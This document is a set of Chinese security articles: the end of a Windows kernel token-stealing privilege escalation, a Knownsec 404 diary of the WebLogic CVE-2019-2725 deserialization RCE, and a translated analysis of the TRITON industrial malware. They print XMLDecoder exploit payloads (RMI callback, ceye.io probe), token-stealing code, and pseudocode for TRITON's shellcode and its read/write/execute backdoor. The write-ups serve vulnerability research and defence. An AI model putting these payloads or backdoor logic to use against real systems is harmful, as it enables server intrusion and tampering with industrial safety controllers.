）里的_WNF_STATE_DATA，使用对应的结构体进行NtUpdateWnfStateData操作，即可实现任意地址写。
## Windows权限提升
windows权限提升的方法一般都是遍历进程链表，找到高权限进程的token（8字节），替换当前进程的token。
// 循环遍历进程链表，搜索process_id为4的进程，读取其token
ULONGLONG token_addr = eprocess + token_offset;
UCHAR* begin_eprocess = eprocess;
while (1) {
ULONGLONG process_id;
ab_read(eprocess + process_id_offset, &process_id, 8);
if (process_id == 4) {
break;
}
UCHAR* tmp;
ab_read(eprocess + link_offset, &tmp, 8);
tmp -= link_offset;
if (tmp == begin_eprocess) {
break;
}
eprocess = tmp;
}
ULONGLONG token;
ab_read(eprocess + token_offset,&token, 8);
DEBUG("system token %016llx\n", token);
最后执行cmd。
## 总结
该漏洞的触发条件并不复杂，利用过程也比较简单，虽然windows的堆分配已经有了很大的随机化，但是大力出奇迹，很容易能够得到理想的堆布局，本地实验过程中的exp基本很少将系统打崩溃。写exp的主要时间是在学习windows系统调用如何传参，查阅了很多文档才搞清楚WNF的用法。总体来说难度不大，非常适合初学者入门。
* * * | 社区文章 |
**作者：Badcode@知道创宇404实验室**
**时间：2019年4月30日**
**English version:<https://paper.seebug.org/910/>**
### 417
2019年4月17日，CNVD 发布[《关于Oracle WebLogic
wls9-async组件存在反序列化远程命令执行漏洞的安全公告》](http://www.cnvd.org.cn/webinfo/show/4989)，公告指出部分版本WebLogic中默认包含的`wls9_async_response`包，为WebLogic
Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP
请求，获得目标服务器的权限，在未授权的情况下远程执行命令。
### 418
2019年4月18日，开始应急。因为这个漏洞当时属于0day，也没有补丁可以参考，只能参考公告内容一步一步来看了。首先看到公告里提到的`wls9_async_response.war`包，看下`web.xml`里的url。
看到`/AsyncResponseService`，尝试访问一下，404。之后看到`weblogic.xml`和`weblogic-webservices.xml`
访问下`_async/AsyncResponseService`
可以正常访问，再结合公告中的漏洞处置建议，禁止 `/_async/*` 路径的URL访问，可以大概率猜测，漏洞入口在这里。
在`weblogic-webservices.xml`中有一个类，`weblogic.wsee.async.AsyncResponseBean`，跟进去这个类，发现在`wseeclient.jar`里面
而后我在这个类里面的方法下断点，然后构造一个普通的SOAP消息，发送。
断点没有debug到。最后我把`wsee/async`所有类的所有方法都下了断点，重新发送消息，成功在`AsyncResponseHandler`类中的`handleRequest`拦截到了。
继续流程，`String var2 =
(String)var1.getProperty("weblogic.wsee.addressing.RelatesTo");`这个步骤一直取不到值，导致流程结束。为了解决这个问题，翻了不少资料，最后找到一个类似的例子，可以使用`<ads:RelatesTo>test</ads:RelatesTo>`为`weblogic.wsee.addressing.RelatesTo`赋值。
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<ads:Action>demo</ads:Action>
<ads:RelatesTo>test</ads:RelatesTo>
</soapenv:Header>
<soapenv:Body></soapenv:Body>
</soapenv:Envelope>
之后流程就能够继续下去了，我一直以为漏洞的关键点在这里，因为这个`wsee.async`下面的几个类中有`readObject`方法，我一直尝试着通过`AsyncResponseHandler`跳到`readObject`方法，而后就卡在这里，后面的流程就不写了，对这个漏洞来说是错的，上面写的这些猜测和流程都是正确的。
### 419
2019年4月19日，和我一起应急的师傅给我发了一张截图。
看到这截图里面的`RelatesTo`，我还以为之前的推测没有错，只是没有构造好。
全局搜索`UnitOfWorkChangeSet`这个类，之后在这个类中下断点。
根据截图，构造一个类似的，然后发送
在这个类中debug到了。
看到了日思夜想的`readObject`，有了反序列的点，自然要找利用链了，目前 WebLogic 下面 `commoncollections`
相关的利用链已经是无法使用了，WebLoigc 依赖的`common-collections`版本已经升级了，先找个Jdk7u21测试一下，将生成的
payload 转换成 byte，发送。
可以看到，成功地执行了命令。但是这个利用链限制太大了，基本没啥用。我想起去年应急过的一个WebLogic
反序列漏洞，CVE-2018-3191，既然jdk7u21都不受黑名单限制，想来CVE-2018-3191也是一样可以利用的。
猜测没有错误，CVE-2018-3191也是能够利用的，这个漏洞也终于有点"危害"了。和 pyn3rd
师傅讨论一下有没有其他利用链，仔细翻下黑名单，除了CVE-2018-3191，就只有新的jython利用链(CVE-2019-2645)了，由
Matthias Kaiser大佬提交的，但是目前这个还有没有公开，所以这个利用链也没法使用。
有了正确答案，就可以看下之前的猜测哪里出了问题。
回到`AsyncResponseHandler`类中的`handleRequest`，`handleRequest`的上一步，`HandlerIterator`类中的`handleRequest`方法
public boolean handleRequest(MessageContext var1, int var2) {
this.closureEnabled = false;
this.status = 1;
WlMessageContext var3 = WlMessageContext.narrow(var1);
if (verboseHistory) {
updateHandlerHistory("...REQUEST...", var3);
}
for(this.index = var2; this.index < this.handlers.size(); ++this.index) {
Handler var4 = this.handlers.get(this.index);
if (verbose) {
Verbose.log("Processing " + var4.getClass().getSimpleName() + "... ");
}
if (verboseHistory) {
updateHandlerHistory(var4.getClass().getSimpleName(), var3);
}
HandlerStats var5 = this.handlers.getStats(this.index);
try {
var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index));
String var6;
if (!var4.handleRequest(var3)) {
if (verboseHistory) {
var6 = var4.getClass().getSimpleName() + ".handleRequest=false";
updateHandlerHistory(var6, var3);
}
if (var5 != null) {
var5.reportRequestTermination();
}
return false;
}
会遍历`this.handlers`，然后调用每个`handler`的`handleRequest`去处理用户传入的SOAP Message。
可以看到，`AsyncResponseHandler`仅仅只是21个`handler`之中的一个，而`weblogic.wsee.addressing.RelatesTo`的赋值就是在`ServerAddressingHandler`中完成的，有兴趣的可以去跟一下。这里面有一个非常重要的`handler`\--`WorkAreaServerHandler`，看名字可能觉得眼熟，看到里面的`handleRequest`方法可能就不淡定了。
之后的流程就和CVE-2017-10271是一样的了，关于这个漏洞的分析可以参考廖师傅的[文章](https://paper.seebug.org/487/)。
跟到这里就可以看出来了，这个`url`只是CVE-2017-10271漏洞的 **另外一个入口**
而已。这也是后期导致假PoC泛滥的一个原因。整个流程大概如下：
那么问题来了，这个PoC是如何绕过CVE-2017-10271的黑名单的呢？
首先来看一下CVE-2017-10271的补丁，会将传入的数据先调用`validate`校验，通过之后才交给`XMLDecoder`。
public WorkContextXmlInputAdapter(InputStream var1) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
try {
boolean var3 = false;
for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {
var2.write(var5);
}
} catch (Exception var4) {
throw new IllegalStateException("Failed to get data from input stream", var4);
}
this.validate(new ByteArrayInputStream(var2.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));
}
private void validate(InputStream var1) {
WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();
try {
SAXParser var3 = var2.newSAXParser();
var3.parse(var1, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
if (var3.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (var3.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (var3.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (var3.equalsIgnoreCase("void")) {
for(int var5 = 0; var5 < var4.getLength(); ++var5) {
if (!"index".equalsIgnoreCase(var4.getQName(var5))) {
throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));
}
}
}
if (var3.equalsIgnoreCase("array")) {
String var9 = var4.getValue("class");
if (var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String var6 = var4.getValue("length");
if (var6 != null) {
try {
int var7 = Integer.valueOf(var6);
if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += var7;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
;
}
可以看到，`object`，`new`，`method`这些标签都被拦截了，遇到直接抛出错误。`void`标签后面只能跟`index`，`array`标签后面可以跟`class`属性，但是类型只能是`byte`类型的。其中，过滤`object`标签是CVE-2017-3506的补丁，剩下的过滤是针对CVE-2017-10271的补丁。
如果仔细看了黑名单的，就不难发现，外面流传的很多PoC都是假的，就是新url入口+老的payload，这样的组合是没有办法绕过这个黑名单的。
绕过这个黑名单的关键是`class`标签，可以从官方的[文档](https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html)来了解一下这个标签。
`class`标签可以表示一个类的实例，也就是说可以使用`class`标签来创建任意类的实例。而`class`标签又不在WebLogic
的黑名单之内，这才是这个漏洞最根本的原因。4月26日，Oracle 发布这个漏洞的补丁，过滤了`class`标签也证实了这点。
既然漏洞的原因是绕过了CVE-2017-10271的黑名单，那么`wls-wsat.war`也是应该受影响的。
测试一下，没有问题。
这说明，CNVD的公告写的影响组件不全，漏洞处置建议也写的不全面，要通过访问策略控制禁止 `/_async/*` 及 `/wls-wsat/*`
路径的URL访问才行，之后我们也同步给了CNVD，CNVD发了[第二次通告](http://www.cnvd.org.cn/webinfo/show/4999)。
### 421
2019年4月21日，准备构造出这个漏洞的检测PoC，能够使用`class`标签来创建类的实例，我首先考虑的是构造`java.net.Socket`，这也引出了一个JDK版本的坑。我测试的是jdk6，参考之前的PoC，可以这么构造
<java>
<class>
<string>java.net.Socket</string>
<void>
<string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string>
<int>80</int>
</void>
</class>
</java>
ceye成功接收到请求，也说明Socket实例创建成功了。
我把上面的检测PoC在 jdk 7上测试，竟然失败了，一直爆找不到`java.net.Socket`这个类错误，让我一度以为这个漏洞只能在 jdk 6
下面触发，后来仔细对比，发现是换行符的问题，也就是这样写才对。
<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>
不带换行符的在6和7下面都能生成实例。其实这个问题在最早测试 CVE-2018-3191 payload的时候就已经发生过，pyn3rd师傅问我xml
payload是怎么生成的，我说用的拼接，直接`System.out.println`输出的，都带了换行符，我因为当时跑weblogic的jdk是jdk6，所以没有问题，但是
pyn3rd 师傅的环境是 jdk7
的，没测试成功，只觉得是PoC写法不同造成的问题，后来师傅自己解决了，这里也没沟通，埋下了一个大坑，导致我后面踩进去了。
### 422
2019年4月22日，pyn3rd 师傅测试 WebLogic
12.1.3没成功，发现是12的版本没有`oracle.toplink.internal.sessions.UnitOfWorkChangeSet`这个类，所以没办法利用。尝试着构造新的exp，目前的情况是，能够创建类的实例，但是调用不了方法。自然想起`com.sun.rowset.JdbcRowSetImpl`这个类。
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/Exploit</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
这个是CVE-2017-10271的一种触发方法。之前的黑名单提过，`void`标签后面只能跟`index`，所以上面这个payload肯定会被黑名单拦截。尝试使用`class`标签重写上面的payload。
构造的过程中，在跟底层代码的时候，发现 jdk 6和 jdk 7处理标签的方式不同。
jdk 6使用的是`com.sun.beans.ObjectHandler`
能用的有`string`，`class`，`null`，`void`，`array`，`java`，`object`和一些基本类型标签(如int)。
jdk7 使用的是`com.sun.beans.decoder.DocumentHandler`
可以看到，和jdk6差异不小，例如，jdk 6不支持`new`，`property`等标签。
我在用jdk 6 的标签构造的时候，一直没构造成功，直到我看到jdk 7 的源码里面的`property`，这不就是我想要的么，而且这个标签还不在
WebLogic 的黑名单内。所以重写上面的payload如下
可以看到，没有触发黑名单，成功的执行了命令，而且没有依赖 WebLogic
内部的包，10.3.6和12.1.3都可以通用。遗憾的是，这个payload的打不了 jdk 6的，因为 jdk 6 不支持
`property`标签。期望有大佬能写出6也能用的。
### 423
2019年4月23日，在CNVD发出通告，各大安全公司发出漏洞预警之后，之前提过的新url+老payload的这种模式的PoC和exp纷纷出炉。不仅是国内，国外也很热闹，很多人表示测试成功，但是都是在无补丁的情况下测试的。Oracle
官网下载的 WebLogic 都是没有安装补丁的，Oracle的补丁是单独收费的，如果安装了 CVE-2017-10271
的补丁，这些PoC和exp都是没有办法触发的，绕过不了黑名单。
### 426
2019年4月26日，Oracle 官方发布紧急补丁，并为该漏洞分配编号CVE-2019-2725。
### 427
2019年4月27日，pyn3rd 师傅说12.1.3版本的exp也有人弄出来了，用的是`org.slf4j.ext.EventData`
public EventData(String xml) {
ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());
try {
XMLDecoder decoder = new XMLDecoder(bais);
this.eventData = (Map)decoder.readObject();
} catch (Exception var4) {
throw new EventException("Error decoding " + xml, var4);
}
}
看下这个类的构造方法，直接将传入的xml交给XMLdecoder处理，太粗暴了...
相当于经过了两次XMLdecode，所以外层用`<class>`绕过，内层直接标记为纯文本，绕过第一次过滤，第二次 XMLdecode不经过WebLogic
黑名单，直接被JDK解析反序列化执行。
这种exp也是最完美的，没有jdk版本限制，不需要外连，可惜的是只能打12.1.3版本。
### 430
2019年4月30日，在其他大佬手中看到了这个漏洞的其他利用方式，没有 weblogic和
jdk的版本限制，比上面的几种利用方式都更完善。这种利用方式我之前也看到过，就是Tenable
发的[演示视频](https://www.youtube.com/watch?v=lePLlC1hFrU&feature=youtu.be)，当时没想明白，看了大佬的利用方式之后，才明白自己忽略了什么。构造方式可以参考CVE-2017-17485，我之前构造exp的时候也没有往这方面想，这或许就是黑哥说的积累不够吧。
### 总结
* 针对这次漏洞，Oracle 也是打破了常规更新，在漏洞预警后不久就发布了补丁，仍然是使用黑名单的方式修复。(吐槽一下，这么修复，这个功能还能用么？)
* 此次的漏洞事件中，也看到了安全圈的乱象，漏洞都没有经过完全的验证，就直接发错误的分析文章和假PoC，误导大众。
* 在这个漏洞应急的过程中，从无到有，从缺到圆，踩了很多坑，也学习到了很多姿势，也看到了自己和大佬的差距。最后感谢漏洞应急过程中几位师傅的交流和指点。
### 参考链接
* [关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告](http://www.cnvd.org.cn/webinfo/show/4989)
* [Weblogic XMLDecoder RCE分析](https://paper.seebug.org/487/)
* [Oracle Security Alert Advisory - CVE-2019-2725](https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html)
* [[KnownSec 404 Team] Oracle WebLogic Deserialization RCE Vulnerability (0day) Alert](https://medium.com/@knownseczoomeye/knownsec-404-team-oracle-weblogic-deserialization-rce-vulnerability-0day-alert-90dd9a79ae93)
* [WebLogic Unauthenticated Remote Code Execution Vulnerability (CVE-2019-2725) with Pocsuite3](https://www.youtube.com/watch?v=NtjC7cheNd8&feature=youtu.be)
* * * | 社区文章 |
# 对TRITON工业恶意软件的分析（下）
|
##### 译文声明
本文是翻译文章，文章原作者 midnightbluelabs，文章来源：midnightbluelabs.com
原文地址：<https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware>
译文仅供参考，具体内容表达以及含义原文为准。
## 五、Triconex安全仪表系统（SIS）
施耐德电气生产的Triconex安全控制器由Tricon（CX）、Trident以及TriGP系统共同组成，这些系统均采用了三模冗余（triple
modular redundancy，TMR）架构。虽然该事件中攻击者针对的是Tricon
3008型控制器，但攻击的核心思路是使用未经认证的TriStation协议，因此运行该协议的这类安全控制器可能都会受到影响。
图2. Tricon 3008前面板（[来源](https://www.nrc.gov/docs/ML0932/ML093290420.pdf)）
根据Tricon
v9-v10系统的[规划及安装指南](https://www.nrc.gov/docs/ML0932/ML093290420.pdf)，一个基本的Tricon控制器由主处理器、I/O模块、通信模块、机箱、连接线以及工程工作站PC组成（工作站PC通过TriStation协议与控制器通信）。机箱内装有3个主处理器（Main
Processor，MP）模块，每个模块都可以为控制器提供通道（channel）服务，独立运行控制程序，并与自己的I/O子系统通信（每个I/O模块都有3个独立的通道，为3个MP提供服务），与其他MP处于并行关系。这3个MP模块可以自主运行，没有共享时钟、功率调节或者电路，定期比较数据及控制程序，两两之间会通过名为TriBus的高速专用通信总线进行同步。TriBus由3个独立的串行链路组成。硬件会对MP中的I/O数据进行表决，如果表决结果不一致，2/3的信号占优势，就会纠正第3个MP，这样就能区分出一次性数据差异现象。这种三模冗余（TMR）架构是对瞬时故障以及组件故障的一种容错设计技术。
图3. Tricon控制器的三重架构
Tricon控制器中有多种通信模块，通过通信总线与主处理器通信，以便控制器通过各种协议进行网络通信。比如，高级通信模块（Advanced
Communication Module，ACM）充当了Tricon控制器与Foxboro智能自动（I/A）系列DCS的接口，Hiway接口模块（Hiway
Interface Module，HIM）充当了Tricon控制器与Honeywell
TDC-3000系列控制系统的接口，而Tricon通信模块（Tricon Communication
Module，TCM）可以让控制器通过以太网与TriStation、其他Triconex控制器、Modbus主/从设备以及外部主机通信。这些通信中包含带有公开文档的Tricon系统访问应用（Tricon
System Access
Application，TSAA）协议，这种多从形式的主/从协议可以用来读取及写入数据点；也包含未公开的TriStation协议，这是一种单从形式的主/从协议，[TriStation
1131以及MSW工程工作站软件](https://www.nrc.gov/docs/ML0932/ML093290423.pdf)会使用该协议来开发或者下载运行在Triconex控制器上的控制程序。默认情况下，TSAA协议使用1500这个UDP端口进行网络通信，而TriStation协议则使用1502这个UDP端口进行通信。
Triconex控制器采用了一个4档位物理开关，4个档位分别为RUN（正常运行，只读状态，但可以被控制程序中的GATENB函数块覆盖）、PROGRAM（允许加载并验证控制程序）、STOP（停止读取输入数据，强制非保持型（non-retentive）数字及模拟信号输出为0，停止控制程序。该模式可以被TriStation覆盖）以及REMOTE（允许写入控制程序变量）。这次事件中，目标控制器处于PROGRAM模式，TRITON注入载荷后（下文会分析），攻击者可以与后门通信，无视当前的开关档位进行恶意修改。
图4. 3008型号主处理器架构
控制程序需要通过TriStation
1131或者MSW软件来开发及调试，通过TriStation协议下载到控制器中，存储到Flash中，随后再加载到SRAM或者DRAM中（具体加载位置由Tricon的版本决定），再由主处理器模块来执行。控制程序需要从某种IEC
61131-3语言（LD、FBD或者ST）转换为原生的PowerPC机器码，并且只与主处理器交互。
攻击事件曝光后不久，我们就可以通过各种公开渠道获取[TRITON框架及攻击载荷](https://github.com/ICSrepo/TRISIS-TRITON-HATMAN)样本。载荷文件（如imain.bin）中包含PowerPC
shellcode，由此我们可以推测此次事件中的Triconex控制器可能使用的是Tricon 3008主处理器模块。因为老版本的Tricon
MP（如3006或者3007）使用的是美国国家半导体公司（National
Semiconductor）生产的32位32GX32主处理器，较新版（如3009）使用的是主频为800MHz的32位双核处理器，据我们所知，Tricon
MP 3008是采用PowerPC架构的唯一处理器。更具体一点，该型号采用了飞思卡尔生产的32位[PowerQUICC
MPC860EN](https://www.nxp.com/products/processors-and-microcontrollers/power-architecture-processors/powerquicc-processors/powerquicc-i/mpc860-powerquicc-processor:MPC860)微控制器，后面我们在解析shellcode载荷时会介绍相关细节。
Tricon 3008 MP运行的是ETSX（Enhanced Triconex System
Executive）固件（存储在Flash中），该固件会在主处理器上执行控制程序。在老版本的Tricon
MP模块上，管理人员只能通过侧面板手动更换EPROM来更新固件，而新的Tricon
3008固件可以通过前面板的以太网口进行升级。管理人员可以将以太网口连接到运行TcxFwm.exe固件管理器的工作站PC来更新固件。专用的IOCCOM（Input
and Output Control and
Communication）处理器（以及MPC860EN）运行的是自己的固件，可以通过固件管理器以相同的方式进行升级。
## 六、TRITON攻击框架
TRITON是一个非常精简的框架，目的是方便攻击者通过以太网中未经认证的TriStation协议与Tricon控制器交互。该框架包含各种功能，如读写控制程序及数据、运行及停止程序以及获取状态信息。该框架采用Python语言编写，包含如下几个组件：
1、TS_cnames.py：包含对应TriStation协议功能、响应代码、开关档位以及控制程序状态的一些常量。
2、TsHi.py：该框架的高级接口，可以用来读写功能及程序，也可以通过后门载荷（后续会分析）获取相关信息。非常有趣的是，该组件中包含SafeAppendProgramMod函数，可以获取程序表、读取程序及功能、将shellcode附加到已有的控制程序中。该模块也会在必要的时候处理CRC32校验和。
3、TsBase.py：充当高级接口与低级TriStation功能代码以及数据格式之间的转换层，用于上传、下载程序或者获取控制程序状态及模块版本等信息。
4、TsLow.py：最底层，可以将上层生成的TriStation数据包通过UDP协议发送给Tricon通信模块（TCM）。还包含其他功能，比如通过1502
UDP端口发送“ping”广播消息（0x06 0x00 0x00 0x00 0x00 0x88），自动探测Tricon控制器。
除了该框架之外，攻击者还使用了名为script_test.py的一个脚本，该脚本通过攻击框架连接到Tricon控制器，注入多阶段攻击载荷（具体参考下文分析）。
## 七、TriStation协议
TriStation协议是工业控制系统领域经常使用的一种基于UDP的串行以太网协议。请求报文中包含2字节的功能代码（FC）、计数器ID、长度字段、请求数据以及校验和。响应报文中包含请求代码（RC）、长度字段、响应数据以及校验和。
我们根据TRITON框架重构了TriStation协议，但本文中我们并不会详细介绍协议细节，仅摘选了部分重点内容。TRITON的“核心”要素包含一系列功能代码及预期的响应代码，如下所述：
* `Start download change`（FC：0X01）。预期收到`Download change permitted`（RC：0x66）响应。具体参数为`[old_name] [version info] [new_name] [program info]`。
* `Allocate program`（FC：0x37）。预期收到`Allocate program response`（RC：0x99）响应。具体参数为`[id] [next] [full_chunks] [offset] [len] [data]`。
* `End download change`（FC：0x0B）。预期收到`Modification accepted`（RC：0x67）响应。
此外，攻击者还使用如下TriStation命令与已成功注入的后门通信：
* `Get MP status`（FC：0x1D）。预期收到`Get system variables response`（RC：0x96）响应。具体参数为`[cmd][mp] [data]`。
有趣的是，TriStation开发者指南中提到，开发者可以限制从TriStation
PC访问Tricon控制器的方式。用户可以“加密保护”工程（实际上工程文件中通常会保存哈希值或者明文密码，工作站软件在打开工程文件时会检查这些信息），连接至控制器时需要输入密码。最初状态下工程并没有绑定密码，并且默认密码为“PASSWORD”。在TriStation协议本身没有经过加密处理的情况下，任何攻击者只要能够观察到控制器与工作站之间的网络通信流量，就可以绕过这种保护机制。
开发者指南中还提到，4351A以及4352A型TCM支持基于IP的客户端访问控制列表，而控制列表可以限制访问某个资源（如执行部分下装（download
change）或者完全下装（download all）、访问诊断信息等）时的权限等级（如拒绝（deny）、只读（read
only）或者读/写（read/write））。这种方法似乎可以用来限制TRITON所能使用的IP地址（比如可以通过哪个地址来注入载荷或者与后门通信），但具体效果得看攻击者具备何种程度的工程工作站横向渗透能力。此外，UDP
IP欺骗攻击在这种环境中也是一个潜在的安全问题。
## 八、攻击载荷
我们可以将此次事件中使用的攻击载荷划分为4个阶段。第一阶段是设置具体参数的一段shellcode。第二阶段为inject.bin载荷（目前尚未公开），该载荷充当后门安装器功能。第三阶段为imain.bin载荷（下文会介绍），这是一个后门植入体，功能是获取并执行第四阶段载荷。最后阶段为实际发挥作用的一个“OT攻击载荷”，其功能为执行破坏性操作。该事件中并没有出现第四阶段载荷，因为攻击者在准备后门植入体时就已经被察觉到，无法进一步攻击。大家可以参考美国国土安全部工控系统网络应急响应小组（ICS-CERT）发布的关于TRITON/TRISIS/HatMan的[报告](https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf)，了解前两个阶段攻击载荷的大致情况。
### 阶段1：参数设置器（PresetStatusField）
连接至目标控制器后，攻击脚本会调用[PresetStatusField](https://github.com/ICSrepo/TRISIS-TRITON-HATMAN/blob/c27fcae3dcb0d0ce36ddeef081851039c4a0658d/decompiled_code/script_test.py#L12)方法，使用SafeAppendProgramMod来注入一段shellcode。这段shellcode的功能是遍历DRAM中地址范围从0x800000到0x800100的内存区域，查找挨在一起的两个32位标志位（其值分别为0x400000及0x600000）。如果找到这两个值，则将某个值（0x00008001）写入距离该地址0x18处的某个地址。我们逆向分析了这段shellcode，理清其工作原理，对应的C语言伪代码如下：
r2 = 0x800000;
while (true)
{
if ((uint32_t)*(uint32_t*)(r2) == 0x400000) // cp_status.us
{
if ((uint32_t)*(uint32_t*)(r2 + 4) == 0x600000) // cp_status.ds
{
r2 += 0x18; // cp_status.fstat
*(uint32_t*)(r2) = (uint32_t)value;
break;
}
}
if ((r3 & 0xffffffff) >= 0x800100)
{
break;
}
r2 += 4;
}
system_call(-1);
这段shellcode会将攻击者提供的某个值写入控制程序（Control
Program，CP）状态结构体中的`fstat`字段。随后，攻击脚本会通过TriStation请求CP状态，检查返回值是否等于攻击者的预期值。第二阶段的`inject.bin`
shellcode中会用到这个预期值（0x00008001）。
### 阶段2：植入体安装器（inject.bin）
由于现在还没有公布inject.bin，这里我们会根据其他组织已公布的内容以及公开材料来推测相关信息。根据这些参考资料，我们推测inject.bin是一个植入体安装器，将`imain.bin`后门部署到ETSX（Enhanced
Triconex System
Executive）中，以便攻击者在后续攻击过程中可以无视Tricon钥匙所处的档位，以读、写或者执行权限访问安全控制器内存。
第一阶段shellcode注入成功后，攻击者使用SafeAppendProgramMod来注入`inject.bin`以及`imain.bin`。这里比较有趣的是，`imain.bin`处于两个标志位（0x1234以及0x56789A）和长度字段之间。根据ICS-CERT的报告，`inject.bin`认为第一阶段载荷所写入的参数位于某个静态地址处，这个参数有3个作用：
1、作为空闲周期的倒数计数器；
2、用来跟踪并控制执行流程的步进计数器；
3、出现错误时用来写入调试信息。
如果没有检测到任何问题，则输出“Script SUCCESS”，强制追加只包含`system_call(-1);`语句的一个虚假程序。
图5. inject.bin控制流程（[来源](https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf)）
`inject.bin` shellcode的工作流程如上图所示（源自ICS-CERT报告），上图看起来是一个有限状态机，开始工作时会等待若干个周期，再执行一系列系统调用并检查返回结果。如果通过检查过程，则重新定位`imain.bin`
shellcode，并将TriStation某条命令（即`get main processor diagnostic
data`，获取主处理器诊断数据）的函数指针指向`imain.bin`的地址，这样程序执行正常流程前会优先调用`imain.bin`。
根据[Reid Wightman](https://vimeo.com/248057640)的研究结果，`inject.bin`中似乎包含[egg-hunter](http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)功能，可以查找夹在`0x1234`和`0x56789A`标签之间的`imain.bin`。之所以采用这种定位方式，可能是因为SafeAppendProgramMod方法缺乏控制机制，无法判断注入代码的结束位置，因此，如果攻击者不确定注入成功后偏移量是否保持不变，就需要通过[GetPC](https://nets.ec/Shellcode/Environment#GetPc)代码来确定`inject.bin`当前所处的位置，然后再搜索已注入的其他代码或者数据所处的位置。获取这些位置信息后，`inject.bin`可以安全稳妥地重新找到`imain.bin`的实际位置。
### 阶段3：后门（imain.bin）
`imain.bin`是一个后门植入体，利用该后门，攻击者可以无视Tricon钥匙所处的档位或者工作站对控制程序的重置操作，以读、写或者执行权限访问安全控制器内存。这样一来，攻击者可以在后续某个时间点注入并执行具有破坏性的“OT攻击载荷”。目前我们并不清楚安全控制器重启后这款后门是否还会继续驻留，因为攻击者似乎只修改了内存中的控制程序以及固件，并没有修改闪存中的副本。FireEye在报告中提到他们修改了攻击脚本，使载荷能够在内存中驻留，但这似乎与重启驻留无关。
`imain.bin`的执行时机要早于TriStation中“ _get main processor diagnostic data_
”命令对应的那个函数，执行后，该后门会查找攻击者精心构造的某个报文，从中提取出攻击命令以及命令参数。该后门支持三种命令：读取内存数据、写入内存数据以及执行位于任意位置的代码。后门可以暂时修改正在运行的固件，具体过程是禁用地址转换、将数据写入固件、刷新指令缓存然后再重新启动地址转换。
TRITON框架调用了[TsHi.ExplReadRam(Ex)、TsHi.ExplWriteRam(Ex)
以及TsHi.ExplExec](https://github.com/ICSrepo/TRISIS-TRITON-HATMAN/blob/c27fcae3dcb0d0ce36ddeef081851039c4a0658d/decompiled_code/library/TsHi.py)函数，这些函数内部会继续调用TsBase.ExecuteExploit函数，TRITON框架可以通过这些函数与后门植入体通信。该函数会发送一条TriStation
“ _get main processor diagnostic data_ ”命令，构造的数据包正文采用如下格式：
[command (1 byte)] [MP (1 byte)] [field_0 (4 bytes)] [field_1 (4 bytes)] [field_2 (N bytes)]
我们逆向分析了`imain.bin`后门，恢复了C语言伪代码，如下所示：
#define M_READ_RAM 0x17
#define M_WRITE_RAM 0x41
#define M_EXECUTE 0xF9
struct argument_struct
{
uint16_t unknown_ui16_00;
uint8_t unknown_ui8_02;
uint16_t return_value;
uint8_t cmd; // cmd field
uint8_t mp; // mp field
uint32_t field_0; // argument field 0 (eg. size)
uint32_t field_1; // argument field 1 (eg. address)
uint8_t field_3[...]; // argument field 3 (eg. data)
};
void imain(void)
{
arg = (struct argument_struct*)get_argument();
// Retrieve implant command and MP value
cmd = arg->cmd;
mp = arg->mp;
compare_mp = *(uint8_t*)(0x199400);
if ((mp == compare_mp) || (mp == 0xFF))
{
mp = arg->return_value;
// Check implant command
switch (cmd)
{
// Read N bytes from RAM at address X
case M_READ_RAM:
{
if (mp >= 0x14)
{
size = arg->field_0;
address = arg->field_1;
if ((size > 0) && (size <= 0x400))
{
memcpy(&arg->cmd, address, size);
return_value = (size + 0xA);
}
else
{
goto main_end;
}
}
else
{
goto main_end;
}
}break;
// Write N bytes to RAM at address X
case M_WRITE_RAM:
{
size = arg->field_0;
address = arg->field_1;
data = arg->field_3;
if ((size > 0) && (size == (mp - 0x14)))
{
reenable_address_translation = 0;
if (address < 0x100000)
{
reenable_address_translation = 1;
disable_address_translation();
}
memcpy(address, &data, size);
if (reenable_address_translation == 1)
{
enable_address_translation();
}
return_value = 0xA;
}
else
{
goto main_end;
}
}break;
// Execute function at address X
case M_EXECUTE:
{
if (mp >= 0x10)
{
function_ptr = arg->field_0;
if (function_ptr < 0x100000)
{
call(function_ptr);
return_value = 0xA;
}
else
{
goto main_end;
